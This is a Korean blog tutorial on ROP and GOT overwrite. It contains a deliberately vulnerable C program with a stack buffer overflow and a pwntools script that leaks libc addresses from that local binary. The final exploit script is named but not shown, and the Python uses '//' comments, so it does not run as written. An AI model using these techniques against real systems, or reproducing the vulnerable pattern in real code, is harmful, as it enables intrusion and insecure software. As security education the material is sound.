이번에는 ROP에 대해서 알아보려고 한다.
ROP란 운영체제의 여러가지 보호기법을 우회하여
해커가 원하는 명령어를 가지고 실행 할 수 있도록 조합하여 권한 상승을 하는 기법이다.
쉽게말하면 여러가지 제약이 걸린상태에서 BOF,RTL과 같은 기법을 수행하지 못하는 경우 함수를 실행하기 위해
여러가지를 조합하여 실행시키는 것을 ROP라 한다.
ROP를 하기 위해서는 RTL,RTL Chaining,GOT overwrite를 알아야 한다.
RTL과 RTL Chaining은
2017/11/11 - [SYSTEM HACKING/정리자료] - DAY-6 Return To Library
2017/11/11 - [SYSTEM HACKING/정리자료] - Special Chapter-RTL Chaining
를 보면 도움이 될 것이다.
파일을 컴파일 하는 과정에서
static방식과 dynamic방식이 있다.
static방식은 DAY-6에서 했던 것과 같이 파일에 라이브러리 파일을 가지고 있는 것 이다.
라이브러리 파일을 통해서 여러가지 함수를 실행 할 수 있다.
dynamic방식은 공유라이브러리를 사용한다.
라이브러리를 메모리 공간에 매핑하고 여러 프로그램에서 그 라이브러리 파일을 공유해서 쓰는 것이다.
dynamic방식으로 컴파일을 했을때 GOT와PLT라는 것을 사용하게 된다.
dynamic방식에서 함수를 호출하면 PLT를 참조하게 된다.
PLT는 GOT로 점프를 하는데,GOT에는 라이브러리의 함수 주소가 쓰여있어서 이 함수를 호출을 한다.
첫번째 호출과 두번째 호출의 동작이 약간 다르다.
두번째 호출은 GOT의 실제함수 주소가 써있다.하지만 첫번째는 아니다.
그래서 첫 호출을 할때는 dl_resolve라는 함수를 사용해 함수의주소를 알아오고 GOT에 그주소를 써준후 함수를 실행한다.
이GOT 주소에 다른 함수의 주소를 덮어씌우면 그것이 GOT overwrite가 되는 것 이다.
자세한 GOT와PLT는 https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/이곳을 참고하길 바란다.
<GO.c>
#include <stdio.h>
#include <stdlib.h>
char *string = "Can you beat me?\n";
void vuln(void){
char buf[8];
read(0,buf,256); //버퍼오버플로우를 하자!
write(1,string,strlen(string));
}
int main(void){
vuln();
}
<leak.py>
#!/usr/bin/python
from pwn import *
from struct import *
lib = ELF("/lib/i386-linux-gnu/libc.so.6") //라이브러리 가져오기
libc_main = 0
write_off = lib.symbols['write'] //write함수가 라이브러리로부터 떨어진 값
write_got = 0x0804a018 //wirte함수 실제 주소
write_plt = 0x08048350 //PLT
payload = ''
payload += "A"*20
payload += p32(write_plt) //plt를 이용해 첫번째 got호출됨
payload += "DUMM"
payload += p32(1)
payload += p32(write_got) //첫번째 실행이 지난 후 실제 함수주소가 들어 있을 것이다.
payload += p32(4)
p = process("../GO")
raw_input() //입력받아야지 다음문장으로 이동됨
p.sendline(payload) //입력
p.recvuntil("\n")
leak = unpack("<L",p.recv(4))[0] //recv(4)로 출력 값을 받아와서 unpack함수를 사용해서 <L옵션을 사용해 Little Endian으로 변형
libc_main = leak - write_off //write함수의 실제주소 -(빼기) 라이브러리 처음부터 write함수까지 떨어진 값
print "LEAK : %08x"%(leak)
print "OFF : %08x"%(write_off)
print "LIBC : %08x"%(libc_main)
raw_input()
값이 나오는 것을 알 수 있다.
그러면 이것을 토대로 익스플로잇 코드를 짜보자.
<exp.py>
쉘이 따진 것을 볼 수 있다.
'SYSTEM HACKING > 기법' 카테고리의 다른 글
| Special Chapter-Double Stage Format String Bug (0) | 2018.01.01 |
|---|---|
| DAY-8 FSB(Format String Bug) (0) | 2017.12.31 |
| Special Chapter-RTL Chaining (0) | 2017.11.11 |
| DAY-6 Return To Library (0) | 2017.11.11 |
| DAY-5 쉘코드 작성 (0) | 2017.11.10 |